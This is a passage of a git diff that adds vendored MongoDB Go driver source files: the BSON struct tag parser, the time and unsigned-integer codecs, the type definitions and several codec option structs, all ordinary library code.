b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/struct_tag_parser.go new file mode 100644 index 00000000..18d85bfb --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/struct_tag_parser.go @@ -0,0 +1,148 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "reflect" + "strings" +) + +// StructTagParser returns the struct tags for a given struct field. +// +// Deprecated: Defining custom BSON struct tag parsers will not be supported in Go Driver 2.0. +type StructTagParser interface { + ParseStructTags(reflect.StructField) (StructTags, error) +} + +// StructTagParserFunc is an adapter that allows a generic function to be used +// as a StructTagParser. +// +// Deprecated: Defining custom BSON struct tag parsers will not be supported in Go Driver 2.0. +type StructTagParserFunc func(reflect.StructField) (StructTags, error) + +// ParseStructTags implements the StructTagParser interface. +func (stpf StructTagParserFunc) ParseStructTags(sf reflect.StructField) (StructTags, error) { + return stpf(sf) +} + +// StructTags represents the struct tag fields that the StructCodec uses during +// the encoding and decoding process. +// +// In the case of a struct, the lowercased field name is used as the key for each exported +// field but this behavior may be changed using a struct tag. The tag may also contain flags to +// adjust the marshalling behavior for the field. +// +// The properties are defined below: +// +// OmitEmpty Only include the field if it's not set to the zero value for the type or to +// empty slices or maps. +// +// MinSize Marshal an integer of a type larger than 32 bits value as an int32, if that's +// feasible while preserving the numeric value. +// +// Truncate When unmarshaling a BSON double, it is permitted to lose precision to fit within +// a float32. +// +// Inline Inline the field, which must be a struct or a map, causing all of its fields +// or keys to be processed as if they were part of the outer struct. For maps, +// keys must not conflict with the bson keys of other struct fields. +// +// Skip This struct field should be skipped. This is usually denoted by parsing a "-" +// for the name. +// +// Deprecated: Defining custom BSON struct tag parsers will not be supported in Go Driver 2.0. +type StructTags struct { + Name string + OmitEmpty bool + MinSize bool + Truncate bool + Inline bool + Skip bool +} + +// DefaultStructTagParser is the StructTagParser used by the StructCodec by default. +// It will handle the bson struct tag. See the documentation for StructTags to see +// what each of the returned fields means. +// +// If there is no name in the struct tag fields, the struct field name is lowercased. +// The tag formats accepted are: +// +// "[][,[,]]" +// +// `(...) bson:"[][,[,]]" (...)` +// +// An example: +// +// type T struct { +// A bool +// B int "myb" +// C string "myc,omitempty" +// D string `bson:",omitempty" json:"jsonkey"` +// E int64 ",minsize" +// F int64 "myf,omitempty,minsize" +// } +// +// A struct tag either consisting entirely of '-' or with a bson key with a +// value consisting entirely of '-' will return a StructTags with Skip true and +// the remaining fields will be their default values. +// +// Deprecated: DefaultStructTagParser will be removed in Go Driver 2.0. +var DefaultStructTagParser StructTagParserFunc = func(sf reflect.StructField) (StructTags, error) { + key := strings.ToLower(sf.Name) + tag, ok := sf.Tag.Lookup("bson") + if !ok && !strings.Contains(string(sf.Tag), ":") && len(sf.Tag) > 0 { + tag = string(sf.Tag) + } + return parseTags(key, tag) +} + +func parseTags(key string, tag string) (StructTags, error) { + var st StructTags + if tag == "-" { + st.Skip = true + return st, nil + } + + for idx, str := range strings.Split(tag, ",") { + if idx == 0 && str != "" { + key = str + } + switch str { + case "omitempty": + st.OmitEmpty = true + case "minsize": + st.MinSize = true + case "truncate": + st.Truncate = true + case "inline": + st.Inline = true + } + } + + st.Name = key + + return st, nil +} + +// JSONFallbackStructTagParser has the same behavior as DefaultStructTagParser +// but will also fallback to parsing the json tag instead on a field where the +// bson tag isn't available. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.UseJSONStructTags] and +// [go.mongodb.org/mongo-driver/bson.Decoder.UseJSONStructTags] instead. +var JSONFallbackStructTagParser StructTagParserFunc = func(sf reflect.StructField) (StructTags, error) { + key := strings.ToLower(sf.Name) + tag, ok := sf.Tag.Lookup("bson") + if !ok { + tag, ok = sf.Tag.Lookup("json") + } + if !ok && !strings.Contains(string(sf.Tag), ":") && len(sf.Tag) > 0 { + tag = string(sf.Tag) + } + + return parseTags(key, tag) +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/time_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/time_codec.go new file mode 100644 index 00000000..22fb762c --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/time_codec.go @@ -0,0 +1,151 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "fmt" + "reflect" + "time" + + "go.mongodb.org/mongo-driver/bson/bsonoptions" + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" + "go.mongodb.org/mongo-driver/bson/primitive" +) + +const ( + timeFormatString = "2006-01-02T15:04:05.999Z07:00" +) + +// TimeCodec is the Codec used for time.Time values. +// +// Deprecated: TimeCodec will not be directly configurable in Go Driver 2.0. +// To configure the time.Time encode and decode behavior, use the configuration +// methods on a [go.mongodb.org/mongo-driver/bson.Encoder] or +// [go.mongodb.org/mongo-driver/bson.Decoder]. To configure the time.Time encode +// and decode behavior for a mongo.Client, use +// [go.mongodb.org/mongo-driver/mongo/options.ClientOptions.SetBSONOptions]. +// +// For example, to configure a mongo.Client to ..., use: +// +// opt := options.Client().SetBSONOptions(&options.BSONOptions{ +// UseLocalTimeZone: true, +// }) +// +// See the deprecation notice for each field in TimeCodec for the corresponding +// settings. +type TimeCodec struct { + // UseLocalTimeZone specifies if we should decode into the local time zone. Defaults to false. + // + // Deprecated: Use bson.Decoder.UseLocalTimeZone or options.BSONOptions.UseLocalTimeZone + // instead. + UseLocalTimeZone bool +} + +var ( + defaultTimeCodec = NewTimeCodec() + + // Assert that defaultTimeCodec satisfies the typeDecoder interface, which allows it to be used + // by collection type decoders (e.g. map, slice, etc) to set individual values in a collection. + _ typeDecoder = defaultTimeCodec +) + +// NewTimeCodec returns a TimeCodec with options opts. +// +// Deprecated: NewTimeCodec will not be available in Go Driver 2.0. See +// [TimeCodec] for more details. +func NewTimeCodec(opts ...*bsonoptions.TimeCodecOptions) *TimeCodec { + timeOpt := bsonoptions.MergeTimeCodecOptions(opts...) + + codec := TimeCodec{} + if timeOpt.UseLocalTimeZone != nil { + codec.UseLocalTimeZone = *timeOpt.UseLocalTimeZone + } + return &codec +} + +func (tc *TimeCodec) decodeType(dc DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tTime { + return emptyValue, ValueDecoderError{ + Name: "TimeDecodeValue", + Types: []reflect.Type{tTime}, + Received: reflect.Zero(t), + } + } + + var timeVal time.Time + switch vrType := vr.Type(); vrType { + case bsontype.DateTime: + dt, err := vr.ReadDateTime() + if err != nil { + return emptyValue, err + } + timeVal = time.Unix(dt/1000, dt%1000*1000000) + case bsontype.String: + // assume strings are in the isoTimeFormat + timeStr, err := vr.ReadString() + if err != nil { + return emptyValue, err + } + timeVal, err = time.Parse(timeFormatString, timeStr) + if err != nil { + return emptyValue, err + } + case bsontype.Int64: + i64, err := vr.ReadInt64() + if err != nil { + return emptyValue, err + } + timeVal = time.Unix(i64/1000, i64%1000*1000000) + case bsontype.Timestamp: + t, _, err := vr.ReadTimestamp() + if err != nil { + return emptyValue, err + } + timeVal = time.Unix(int64(t), 0) + case bsontype.Null: + if err := vr.ReadNull(); err != nil { + return emptyValue, err + } + case bsontype.Undefined: + if err := vr.ReadUndefined(); err != nil { + return emptyValue, err + } + default: + return emptyValue, fmt.Errorf("cannot decode %v into a time.Time", vrType) + } + + if !tc.UseLocalTimeZone && !dc.useLocalTimeZone { + timeVal = timeVal.UTC() + } + return reflect.ValueOf(timeVal), nil +} + +// DecodeValue is the ValueDecoderFunc for time.Time. +func (tc *TimeCodec) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tTime { + return ValueDecoderError{Name: "TimeDecodeValue", Types: []reflect.Type{tTime}, Received: val} + } + + elem, err := tc.decodeType(dc, vr, tTime) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +// EncodeValue is the ValueEncoderFunc for time.TIme. +func (tc *TimeCodec) EncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tTime { + return ValueEncoderError{Name: "TimeEncodeValue", Types: []reflect.Type{tTime}, Received: val} + } + tt := val.Interface().(time.Time) + dt := primitive.NewDateTimeFromTime(tt) + return vw.WriteDateTime(int64(dt)) +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/types.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/types.go new file mode 100644 index 00000000..6ade17b7 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/types.go @@ -0,0 +1,58 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "encoding/json" + "net/url" + "reflect" + "time" + + "go.mongodb.org/mongo-driver/bson/primitive" + "go.mongodb.org/mongo-driver/x/bsonx/bsoncore" +) + +var tBool = reflect.TypeOf(false) +var tFloat64 = reflect.TypeOf(float64(0)) +var tInt32 = reflect.TypeOf(int32(0)) +var tInt64 = reflect.TypeOf(int64(0)) +var tString = reflect.TypeOf("") +var tTime = reflect.TypeOf(time.Time{}) + +var tEmpty = reflect.TypeOf((*interface{})(nil)).Elem() +var tByteSlice = reflect.TypeOf([]byte(nil)) +var tByte = reflect.TypeOf(byte(0x00)) +var tURL = reflect.TypeOf(url.URL{}) +var tJSONNumber = reflect.TypeOf(json.Number("")) + +var tValueMarshaler = reflect.TypeOf((*ValueMarshaler)(nil)).Elem() +var tValueUnmarshaler = reflect.TypeOf((*ValueUnmarshaler)(nil)).Elem() +var tMarshaler = reflect.TypeOf((*Marshaler)(nil)).Elem() +var tUnmarshaler = reflect.TypeOf((*Unmarshaler)(nil)).Elem() +var tProxy = reflect.TypeOf((*Proxy)(nil)).Elem() +var tZeroer = reflect.TypeOf((*Zeroer)(nil)).Elem() + +var tBinary = reflect.TypeOf(primitive.Binary{}) +var tUndefined = reflect.TypeOf(primitive.Undefined{}) +var tOID = reflect.TypeOf(primitive.ObjectID{}) +var tDateTime = reflect.TypeOf(primitive.DateTime(0)) +var tNull = reflect.TypeOf(primitive.Null{}) +var tRegex = reflect.TypeOf(primitive.Regex{}) +var tCodeWithScope = reflect.TypeOf(primitive.CodeWithScope{}) +var tDBPointer = reflect.TypeOf(primitive.DBPointer{}) +var tJavaScript = reflect.TypeOf(primitive.JavaScript("")) +var tSymbol = reflect.TypeOf(primitive.Symbol("")) +var tTimestamp = reflect.TypeOf(primitive.Timestamp{}) +var tDecimal = reflect.TypeOf(primitive.Decimal128{}) +var tMinKey = reflect.TypeOf(primitive.MinKey{}) +var tMaxKey = reflect.TypeOf(primitive.MaxKey{}) +var tD = reflect.TypeOf(primitive.D{}) +var tA = reflect.TypeOf(primitive.A{}) +var tE = reflect.TypeOf(primitive.E{}) + +var tCoreDocument = reflect.TypeOf(bsoncore.Document{}) +var tCoreArray = reflect.TypeOf(bsoncore.Array{}) diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/uint_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/uint_codec.go new file mode 100644 index 00000000..39b07135 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/uint_codec.go @@ -0,0 +1,202 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "fmt" + "math" + "reflect" + + "go.mongodb.org/mongo-driver/bson/bsonoptions" + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" +) + +// UIntCodec is the Codec used for uint values. +// +// Deprecated: UIntCodec will not be directly configurable in Go Driver 2.0. To +// configure the uint encode and decode behavior, use the configuration methods +// on a [go.mongodb.org/mongo-driver/bson.Encoder] or +// [go.mongodb.org/mongo-driver/bson.Decoder]. To configure the uint encode and +// decode behavior for a mongo.Client, use +// [go.mongodb.org/mongo-driver/mongo/options.ClientOptions.SetBSONOptions]. +// +// For example, to configure a mongo.Client to marshal Go uint values as the +// minimum BSON int size that can represent the value, use: +// +// opt := options.Client().SetBSONOptions(&options.BSONOptions{ +// IntMinSize: true, +// }) +// +// See the deprecation notice for each field in UIntCodec for the corresponding +// settings. +type UIntCodec struct { + // EncodeToMinSize causes EncodeValue to marshal Go uint values (excluding uint64) as the + // minimum BSON int size (either 32-bit or 64-bit) that can represent the integer value. + // + // Deprecated: Use bson.Encoder.IntMinSize or options.BSONOptions.IntMinSize instead. + EncodeToMinSize bool +} + +var ( + defaultUIntCodec = NewUIntCodec() + + // Assert that defaultUIntCodec satisfies the typeDecoder interface, which allows it to be used + // by collection type decoders (e.g. map, slice, etc) to set individual values in a collection. + _ typeDecoder = defaultUIntCodec +) + +// NewUIntCodec returns a UIntCodec with options opts. +// +// Deprecated: NewUIntCodec will not be available in Go Driver 2.0. See +// [UIntCodec] for more details. +func NewUIntCodec(opts ...*bsonoptions.UIntCodecOptions) *UIntCodec { + uintOpt := bsonoptions.MergeUIntCodecOptions(opts...) + + codec := UIntCodec{} + if uintOpt.EncodeToMinSize != nil { + codec.EncodeToMinSize = *uintOpt.EncodeToMinSize + } + return &codec +} + +// EncodeValue is the ValueEncoder for uint types. +func (uic *UIntCodec) EncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + switch val.Kind() { + case reflect.Uint8, reflect.Uint16: + return vw.WriteInt32(int32(val.Uint())) + case reflect.Uint, reflect.Uint32, reflect.Uint64: + u64 := val.Uint() + + // If ec.MinSize or if encodeToMinSize is true for a non-uint64 value we should write val as an int32 + useMinSize := ec.MinSize || (uic.EncodeToMinSize && val.Kind() != reflect.Uint64) + + if u64 <= math.MaxInt32 && useMinSize { + return vw.WriteInt32(int32(u64)) + } + if u64 > math.MaxInt64 { + return fmt.Errorf("%d overflows int64", u64) + } + return vw.WriteInt64(int64(u64)) + } + + return ValueEncoderError{ + Name: "UintEncodeValue", + Kinds: []reflect.Kind{reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint}, + Received: val, + } +} + +func (uic *UIntCodec) decodeType(dc DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + var i64 int64 + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Int32: + i32, err := vr.ReadInt32() + if err != nil { + return emptyValue, err + } + i64 = int64(i32) + case bsontype.Int64: + i64, err = vr.ReadInt64() + if err != nil { + return emptyValue, err + } + case bsontype.Double: + f64, err := vr.ReadDouble() + if err != nil { + return emptyValue, err + } + if !dc.Truncate && math.Floor(f64) != f64 { + return emptyValue, errCannotTruncate + } + if f64 > float64(math.MaxInt64) { + return emptyValue, fmt.Errorf("%g overflows int64", f64) + } + i64 = int64(f64) + case bsontype.Boolean: + b, err := vr.ReadBoolean() + if err != nil { + return emptyValue, err + } + if b { + i64 = 1 + } + case bsontype.Null: + if err = vr.ReadNull(); err != nil { + return emptyValue, err + } + case bsontype.Undefined: + if err = vr.ReadUndefined(); err != nil { + return emptyValue, err + } + default: + return emptyValue, fmt.Errorf("cannot decode %v into an integer type", vrType) + } + + switch t.Kind() { + case reflect.Uint8: + if i64 < 0 || i64 > math.MaxUint8 { + return emptyValue, fmt.Errorf("%d overflows uint8", i64) + } + + return reflect.ValueOf(uint8(i64)), nil + case reflect.Uint16: + if i64 < 0 || i64 > math.MaxUint16 { + return emptyValue, fmt.Errorf("%d overflows uint16", i64) + } + + return reflect.ValueOf(uint16(i64)), nil + case reflect.Uint32: + if i64 < 0 || i64 > math.MaxUint32 { + return emptyValue, fmt.Errorf("%d overflows uint32", i64) + } + + return reflect.ValueOf(uint32(i64)), nil + case reflect.Uint64: + if i64 < 0 { + return emptyValue, fmt.Errorf("%d overflows uint64", i64) + } + + return reflect.ValueOf(uint64(i64)), nil + case reflect.Uint: + if i64 < 0 { + return emptyValue, fmt.Errorf("%d overflows uint", i64) + } + v := uint64(i64) + if v > math.MaxUint { // Can we fit this inside of an uint + return emptyValue, fmt.Errorf("%d overflows uint", i64) + } + + return reflect.ValueOf(uint(v)), nil + default: + return emptyValue, ValueDecoderError{ + Name: "UintDecodeValue", + Kinds: []reflect.Kind{reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint}, + Received: reflect.Zero(t), + } + } +} + +// DecodeValue is the ValueDecoder for uint types. +func (uic *UIntCodec) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() { + return ValueDecoderError{ + Name: "UintDecodeValue", + Kinds: []reflect.Kind{reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint}, + Received: val, + } + } + + elem, err := uic.decodeType(dc, vr, val.Type()) + if err != nil { + return err + } + + val.SetUint(elem.Uint()) + return nil +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/byte_slice_codec_options.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/byte_slice_codec_options.go new file mode 100644 index 00000000..996bd171 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/byte_slice_codec_options.go @@ -0,0 +1,49 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonoptions + +// ByteSliceCodecOptions represents all possible options for byte slice encoding and decoding. +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +type ByteSliceCodecOptions struct { + EncodeNilAsEmpty *bool // Specifies if a nil byte slice should encode as an empty binary instead of null. Defaults to false. +} + +// ByteSliceCodec creates a new *ByteSliceCodecOptions +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +func ByteSliceCodec() *ByteSliceCodecOptions { + return &ByteSliceCodecOptions{} +} + +// SetEncodeNilAsEmpty specifies if a nil byte slice should encode as an empty binary instead of null. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.NilByteSliceAsEmpty] instead. +func (bs *ByteSliceCodecOptions) SetEncodeNilAsEmpty(b bool) *ByteSliceCodecOptions { + bs.EncodeNilAsEmpty = &b + return bs +} + +// MergeByteSliceCodecOptions combines the given *ByteSliceCodecOptions into a single *ByteSliceCodecOptions in a last one wins fashion. +// +// Deprecated: Merging options structs will not be supported in Go Driver 2.0. Users should create a +// single options struct instead. +func MergeByteSliceCodecOptions(opts ...*ByteSliceCodecOptions) *ByteSliceCodecOptions { + bs := ByteSliceCodec() + for _, opt := range opts { + if opt == nil { + continue + } + if opt.EncodeNilAsEmpty != nil { + bs.EncodeNilAsEmpty = opt.EncodeNilAsEmpty + } + } + + return bs +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/doc.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/doc.go new file mode 100644 index 00000000..c40973c8 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/doc.go @@ -0,0 +1,8 @@ +// Copyright (C) MongoDB, Inc. 2022-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +// Package bsonoptions defines the optional configurations for the BSON codecs. +package bsonoptions diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/empty_interface_codec_options.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/empty_interface_codec_options.go new file mode 100644 index 00000000..f522c7e0 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/empty_interface_codec_options.go @@ -0,0 +1,49 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonoptions + +// EmptyInterfaceCodecOptions represents all possible options for interface{} encoding and decoding. +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +type EmptyInterfaceCodecOptions struct { + DecodeBinaryAsSlice *bool // Specifies if Old and Generic type binarys should default to []slice instead of primitive.Binary. Defaults to false. +} + +// EmptyInterfaceCodec creates a new *EmptyInterfaceCodecOptions +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +func EmptyInterfaceCodec() *EmptyInterfaceCodecOptions { + return &EmptyInterfaceCodecOptions{} +} + +// SetDecodeBinaryAsSlice specifies if Old and Generic type binarys should default to []slice instead of primitive.Binary. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.BinaryAsSlice] instead. +func (e *EmptyInterfaceCodecOptions) SetDecodeBinaryAsSlice(b bool) *EmptyInterfaceCodecOptions { + e.DecodeBinaryAsSlice = &b + return e +} + +// MergeEmptyInterfaceCodecOptions combines the given *EmptyInterfaceCodecOptions into a single *EmptyInterfaceCodecOptions in a last one wins fashion. +// +// Deprecated: Merging options structs will not be supported in Go Driver 2.0. Users should create a +// single options struct instead. +func MergeEmptyInterfaceCodecOptions(opts ...*EmptyInterfaceCodecOptions) *EmptyInterfaceCodecOptions { + e := EmptyInterfaceCodec() + for _, opt := range opts { + if opt == nil { + continue + } + if opt.DecodeBinaryAsSlice != nil { + e.DecodeBinaryAsSlice = opt.DecodeBinaryAsSlice + } + } + + return e +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/map_codec_options.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/map_codec_options.go new file mode 100644 index 00000000..a7a7c1d9 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/map_codec_options.go @@ -0,0 +1,82 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonoptions + +// MapCodecOptions represents all possible options for map encoding and decoding. +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +type MapCodecOptions struct { + DecodeZerosMap *bool // Specifies if the map should be zeroed before decoding into it. Defaults to false. + EncodeNilAsEmpty *bool // Specifies if a nil map should encode as an empty document instead of null. Defaults to false. + // Specifies how keys should be handled. If false, the behavior matches encoding/json, where the encoding key type must + // either be a string, an integer type, or implement bsoncodec.KeyMarshaler and the decoding key type must either be a + // string, an integer type, or implement bsoncodec.KeyUnmarshaler. If true, keys are encoded with fmt.Sprint() and the + // encoding key type must be a string, an integer type, or a float. If true, the use of Stringer will override + // TextMarshaler/TextUnmarshaler. Defaults to false. + EncodeKeysWithStringer *bool +} + +// MapCodec creates a new *MapCodecOptions +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +func MapCodec() *MapCodecOptions { + return &MapCodecOptions{} +} + +// SetDecodeZerosMap specifies if the map should be zeroed before decoding into it. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Decoder.ZeroMaps] instead. +func (t *MapCodecOptions) SetDecodeZerosMap(b bool) *MapCodecOptions { + t.DecodeZerosMap = &b + return t +} + +// SetEncodeNilAsEmpty specifies if a nil map should encode as an empty document instead of null. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.NilMapAsEmpty] instead. +func (t *MapCodecOptions) SetEncodeNilAsEmpty(b bool) *MapCodecOptions { + t.EncodeNilAsEmpty = &b + return t +} + +// SetEncodeKeysWithStringer specifies how keys should be handled. If false, the behavior matches encoding/json, where the +// encoding key type must either be a string, an integer type, or implement bsoncodec.KeyMarshaler and the decoding key +// type must either be a string, an integer type, or implement bsoncodec.KeyUnmarshaler. If true, keys are encoded with +// fmt.Sprint() and the encoding key type must be a string, an integer type, or a float. If true, the use of Stringer +// will override TextMarshaler/TextUnmarshaler. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.StringifyMapKeysWithFmt] instead. +func (t *MapCodecOptions) SetEncodeKeysWithStringer(b bool) *MapCodecOptions { + t.EncodeKeysWithStringer = &b + return t +} + +// MergeMapCodecOptions combines the given *MapCodecOptions into a single *MapCodecOptions in a last one wins fashion. +// +// Deprecated: Merging options structs will not be supported in Go Driver 2.0. Users should create a +// single options struct instead. +func MergeMapCodecOptions(opts ...*MapCodecOptions) *MapCodecOptions { + s := MapCodec() + for _, opt := range opts { + if opt == nil { + continue + } + if opt.DecodeZerosMap != nil { + s.DecodeZerosMap = opt.DecodeZerosMap + } + if opt.EncodeNilAsEmpty != nil { + s.EncodeNilAsEmpty = opt.EncodeNilAsEmpty + } + if opt.EncodeKeysWithStringer != nil { + s.EncodeKeysWithStringer = opt.EncodeKeysWithStringer + } + } + + return s +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/slice_codec_options.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/slice_codec_options.go new file mode 100644 index 00000000..3c1e4f35 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/slice_codec_options.go @@ -0,0 +1,49 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonoptions + +// SliceCodecOptions represents all possible options for slice encoding and decoding. +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +type SliceCodecOptions struct { + EncodeNilAsEmpty *bool // Specifies if a nil slice should encode as an empty array instead of null. Defaults to false. +} + +// SliceCodec creates a new *SliceCodecOptions +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +func SliceCodec() *SliceCodecOptions { + return &SliceCodecOptions{} +} + +// SetEncodeNilAsEmpty specifies if a nil slice should encode as an empty array instead of null. Defaults to false. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.Encoder.NilSliceAsEmpty] instead. +func (s *SliceCodecOptions) SetEncodeNilAsEmpty(b bool) *SliceCodecOptions { + s.EncodeNilAsEmpty = &b + return s +} + +// MergeSliceCodecOptions combines the given *SliceCodecOptions into a single *SliceCodecOptions in a last one wins fashion. +// +// Deprecated: Merging options structs will not be supported in Go Driver 2.0. Users should create a +// single options struct instead. +func MergeSliceCodecOptions(opts ...*SliceCodecOptions) *SliceCodecOptions { + s := SliceCodec() + for _, opt := range opts { + if opt == nil { + continue + } + if opt.EncodeNilAsEmpty != nil { + s.EncodeNilAsEmpty = opt.EncodeNilAsEmpty + } + } + + return s +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/string_codec_options.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/string_codec_options.go new file mode 100644 index 00000000..f8b76f99 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/string_codec_options.go @@ -0,0 +1,52 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsonoptions + +var defaultDecodeOIDAsHex = true + +// StringCodecOptions represents all possible options for string encoding and decoding. +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +type StringCodecOptions struct { + DecodeObjectIDAsHex *bool // Specifies if we should decode ObjectID as the hex value. Defaults to true. +} + +// StringCodec creates a new *StringCodecOptions +// +// Deprecated: Use the bson.Encoder and bson.Decoder configuration methods to set the desired BSON marshal +// and unmarshal behavior instead. +func StringCodec() *StringCodecOptions { + return &StringCodecOptions{} +} + +// SetDecodeObjectIDAsHex specifies if object IDs should be decoded as their hex representation. If false, a string made +// from the raw object ID bytes will be used. Defaults to true. +// +// Deprecated: Decoding object IDs as raw bytes will not be supported in Go Driver 2.0. +func (t *StringCodecOptions) SetDecodeObjectIDAsHex(b bool) *StringCodecOptions { + t.DecodeObjectIDAsHex = &b + return t +} + +// MergeStringCodecOptions combines the given *StringCodecOptions into a single *StringCodecOptions in a last one wins fashion. +// +// Deprecated: Merging options structs will not be supported in Go Driver 2.0. Users should create a +// single options struct instead. +func MergeStringCodecOptions(opts ...*StringCodecOptions) *StringCodecOptions { + s := &StringCodecOptions{&defaultDecodeOIDAsHex} + for _, opt := range opts { + if opt == nil { + continue + } + if opt.DecodeObjectIDAsHex != nil { + s.DecodeObjectIDAsHex = opt.DecodeObjectIDAsHex + } + } + + return s +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/struct_codec_options.go b/vendor/go.mongodb.org/mongo-driver/bson/bsonoptions/struct_codec_options.go new file mode 100644 index 00000000..1cbfa32e --- 